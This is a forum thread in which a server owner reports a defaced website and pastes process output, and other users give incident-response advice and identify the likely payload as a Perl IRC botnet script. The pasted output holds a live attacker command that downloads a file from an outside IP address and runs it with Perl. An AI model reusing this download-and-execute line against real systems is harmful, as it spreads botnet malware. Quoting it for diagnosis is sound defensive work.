Hi guys,

I was ttying to check my email this morning, when I realized my mail server was down. I go to check my website and see "exlab ownz!" writen on my main page. I restarted my mail server then checked around to see if anything else was damaged. Aparently the punk only changed the index.php, but I'm not sure what else he might have done. I did a "ps -aux" and got:

nobody 2715 0.0 1.9 18268 9692 ? S May20 0:00 /usr/local/apache2/bin/httpd -k start
nobody 2986 0.0 1.9 18212 9684 ? S May20 0:05 /usr/local/apache2/bin/httpd -k start
nobody 2988 0.0 1.9 18340 9864 ? S May20 0:08 /usr/local/apache2/bin/httpd -k start
nobody 3000 0.0 0.0 0 0 ? Z May20 0:00 [sh] <defunct>
nobody 3002 0.0 0.6 7312 3516 ? S May20 0:00 /usr/local/apache/bin/httpd -DSSL
nobody 13238 0.0 0.2 4464 1060 ? S May20 0:00 sh -c wget http://213.251.163.94//squirrelmail/src/ping.txt;mv ping.txt temp2006;perl temp2006
nobody 21173 0.0 2.3 20656 12144 ? S 07:13 0:00 /usr/local/apache2/bin/httpd -k start

some of this stuff seems unusual.

If anybody has any insight on how to stop this down i would apreciate it.
I would also apreciate sugestions on how to prevent this from hapening again.

Thanks

Hmm - I would start by unplugging that network cable. Then I would kill that wget ping.txt process - that looks seriously suspect. I would also delete any of those files it is playing with.

I would then start to examine how they got in - telnet(I hope not), ssh or otherwise. If you have an ssh server, you may want to move it to a less obvious port, and get denyhosts running to tighten it up.

At this point - for the machine that suffered the intrusion, it may be safest to go for a backup, or a clean install and only restore the data files you know should be there. It may not be apparent what other changes have been made, and it is quite likely the script being loaded was one that turned your machine into a zombie that went and performed the same hack on other machines.

You may seriously want to do something like "tail -5000f /var/log/messages" and have a good check of anything suspicious. Also, check the history files for each user on the box, and be wary of any users that shouldnt be there.

Danny

Also take a look at any http logs for anything suspicious, especially errors or urls that contain bash commands (wget, cd, etc). Post anything that looks suspicious. Also what linux version are you running on this box and has it been kept fully updated with security patches/updates?

Looks like you where definately defaced, like this: http://www.grewing-edelstahl.de/

You could go ask the guys: irc.gigachat.net, appear to be Brazilian.

PS: Watch out for that rabbit!!

ping.txt: I'm 99% sure is Shellbot. Probably has Squirremail vuln's added in. I've a few I've captured with Mambo and other PHP exploits. It's an IRC bot in Perl, connecting the computer to a botnet (might also be on gigachat). If you had Perl installed, you were/are probably part of a botnet and are now/were scanning for other computers to compromise.

Keep your software up to date, watch a few security mailling lists. Be very leary of running CGI's and letting scripts to do much. I've seen so many servers hacked because someone wrote a poor PHP script that opened up the entire system like a sardine can. My guess is they got in thru a web application, either script, mail system, BB, or whatever you have running.

Pull the plug if you've not already done so; I'd recommend wipe & reinstall, since there's alot of unknowns here.

I agree strongly with the given advice:

Unplug the network cable.

It's the most reasonable thing to do, because it keeps the hackers from putting in any new commands.

Do a clean install of your software afterwords. I suggest the previous methods though. This is only a last resort, and requires most time.